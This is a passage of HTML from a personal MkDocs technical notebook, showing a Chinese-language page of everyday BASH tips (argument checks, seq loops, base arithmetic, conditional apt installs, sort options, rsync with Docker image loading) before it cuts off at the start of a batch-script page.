class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          BASH\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        BASH\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bashalias\" class=\"md-nav__link\">\n    在bash脚本中使用alias\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    判断命令行参数是否为空\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#forseq\" class=\"md-nav__link\">\n    for循环用seq生成数字列表\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash_1\" class=\"md-nav__link\">\n    BASH做不同进制间数学计算\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apt\" class=\"md-nav__link\">\n    判断命令不存在再apt安装\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    判断文件不存在\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sort\" class=\"md-nav__link\">\n    sort排序\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsync\" class=\"md-nav__link\">\n    rsync移动远程目录特定文件至本机后循环操作\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bashalias\" class=\"md-nav__link\">\n    在bash脚本中使用alias\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    判断命令行参数是否为空\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#forseq\" class=\"md-nav__link\">\n    for循环用seq生成数字列表\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#bash_1\" class=\"md-nav__link\">\n    BASH做不同进制间数学计算\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#apt\" class=\"md-nav__link\">\n    判断命令不存在再apt安装\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    判断文件不存在\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#sort\" class=\"md-nav__link\">\n    sort排序\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsync\" class=\"md-nav__link\">\n    rsync移动远程目录特定文件至本机后循环操作\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"bash\">BASH<a class=\"headerlink\" href=\"#bash\" title=\"Permanent link\">&para;</a></h1>\n<h2 id=\"bashalias\">在bash脚本中使用alias<a class=\"headerlink\" href=\"#bashalias\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG alias</p>\n<p>加上这么一句：</p>\n<div class=\"codehilite\"><pre><span></span><code>shopt -s expand_aliases\n</code></pre></div>\n\n<h2 id=\"_1\">判断命令行参数是否为空<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p>在python里可以用len(sys.argv)判断参数个数，bash里用中括号里的-z</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span><span class=\"w\"> </span>[<span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">z</span><span class=\"w\"> </span><span class=\"s2\">&quot;$1&quot;</span><span class=\"w\"> </span>]<span class=\"w\"> </span><span class=\"o\">&amp;&amp;</span><span class=\"w\"> </span>[<span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">z</span><span class=\"w\"> </span><span class=\"s2\">&quot;$2&quot;</span><span class=\"w\"> </span>]<span class=\"c1\">; then</span>\n<span class=\"w\">    </span><span class=\"nv\">echo</span><span class=\"w\"> </span><span class=\"s2\">&quot;Usage: $0 &lt;parameter1&gt; &lt;parameter2&gt;&quot;</span>\n<span class=\"nv\">fi</span>\n</code></pre></div>\n\n<h2 id=\"forseq\">for循环用seq生成数字列表<a class=\"headerlink\" href=\"#forseq\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG seq</p>\n<p>注意终点是包含在内的，不同于Python的range</p>\n<ul>\n<li><code>seq 3</code>: 1 2 3</li>\n<li><code>seq 2 3</code>: 2 3</li>\n<li><code>seq 1 2 5</code>: 1 3 5</li>\n</ul>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">for</span> <span class=\"n\">i</span> <span class=\"n\">in</span> <span class=\"o\">$</span><span class=\"p\">(</span><span class=\"n\">seq</span> <span class=\"mi\">1</span> <span class=\"o\">$</span><span class=\"kr\">END</span><span class=\"p\">);</span> <span class=\"n\">do</span> <span class=\"n\">echo</span> <span class=\"o\">$</span><span class=\"n\">i</span><span class=\"p\">;</span> <span class=\"n\">done</span>\n</code></pre></div>\n\n<h2 id=\"bash_1\">BASH做不同进制间数学计算<a class=\"headerlink\" href=\"#bash_1\" title=\"Permanent link\">&para;</a></h2>\n<p>不需要bc也可以直接做计算，例如计算5+0xa+0b1010</p>\n<div class=\"codehilite\"><pre><span></span><code>echo $((5+16#a+2#1010))\n</code></pre></div>\n\n<h2 id=\"apt\">判断命令不存在再apt安装<a class=\"headerlink\" href=\"#apt\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>command -v aria2c &gt;/dev/null 2&gt;&amp;1 || { apt update &amp;&amp; apt install -y aria2; }\n</code></pre></div>\n\n<p>如果有多个软件可能要安装，没必要每次都apt update，可以先装了再说 失败就apt update</p>\n<div class=\"codehilite\"><pre><span></span><code>command -v 7z &gt;/dev/null 2&gt;&amp;1 || { apt-get install -y p7zip; }\ncommand -v 7z &gt;/dev/null 2&gt;&amp;1 || { apt update;  apt-get install -y p7zip; }\n</code></pre></div>\n\n<h2 id=\"_2\">判断文件不存在<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>注意<code>]</code>前面要有空格</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">if</span><span class=\"w\"> </span>[<span class=\"w\"> </span><span class=\"o\">!</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">f</span><span class=\"w\"> </span><span class=\"s2\">&quot;somefile&quot;</span><span class=\"w\"> </span>]<span class=\"c1\">; then</span>\n<span class=\"w\">    </span><span class=\"nv\">curl</span><span class=\"w\"> </span>...\n<span class=\"nv\">fi</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"sort\">sort排序<a class=\"headerlink\" href=\"#sort\" title=\"Permanent link\">&para;</a></h2>\n<p>逆序 -r\n按版本排序 排序IP地址 -V\n按数字排序 -n\n按人类理解的文件大小排序 -h\n指定某些列来排序 -k 3,3 -k 4,4 指定分隔符用-t &lsquo;.&rsquo;</p>\n<p>参考： https://www.madboa.com/geek/sort-addr/</p>\n<hr />\n<h2 id=\"rsync\">rsync移动远程目录特定文件至本机后循环操作<a class=\"headerlink\" href=\"#rsync\" title=\"Permanent link\">&para;</a></h2>\n<p>rsync有<code>--dry-run</code>参数确认没出错后再操作</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">rsync</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">P</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">remove</span><span class=\"o\">-</span><span class=\"n\">source</span><span class=\"o\">-</span><span class=\"n\">files</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">avz</span><span class=\"w\"> </span><span class=\"s1\">&#39;1.2.3.4:/root/dockerimages/*.tar.7z&#39;</span><span class=\"w\"> </span><span class=\"o\">./</span>\n\n<span class=\"k\">for</span><span class=\"w\"> </span><span class=\"n\">filename</span><span class=\"w\"> </span><span class=\"ow\">in</span><span class=\"w\"> </span><span class=\"o\">*.</span><span class=\"n\">tar</span><span class=\"o\">.</span><span class=\"mi\">7</span><span class=\"n\">z</span><span class=\"p\">;</span><span class=\"w\"> </span><span class=\"n\">do</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"mi\">7</span><span class=\"n\">z</span><span class=\"w\"> </span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">so</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">filename</span><span class=\"w\"> </span><span class=\"o\">|</span><span class=\"w\"> </span><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"nb\">load</span><span class=\"p\">;</span><span class=\"w\"> </span>\n<span class=\"w\">    </span><span class=\"n\">mv</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">filename</span><span class=\"w\"> </span><span class=\"o\">./</span><span class=\"n\">done</span><span class=\"o\">/</span><span class=\"p\">;</span><span class=\"w\"> </span>\n<span class=\"n\">done</span>\n</code></pre></div>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/BAT/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../BASH/\">\n      \n      \n        <link rel=\"next\" href=\"../C/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>BAT批处理 - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#bat\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              BAT批处理\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" 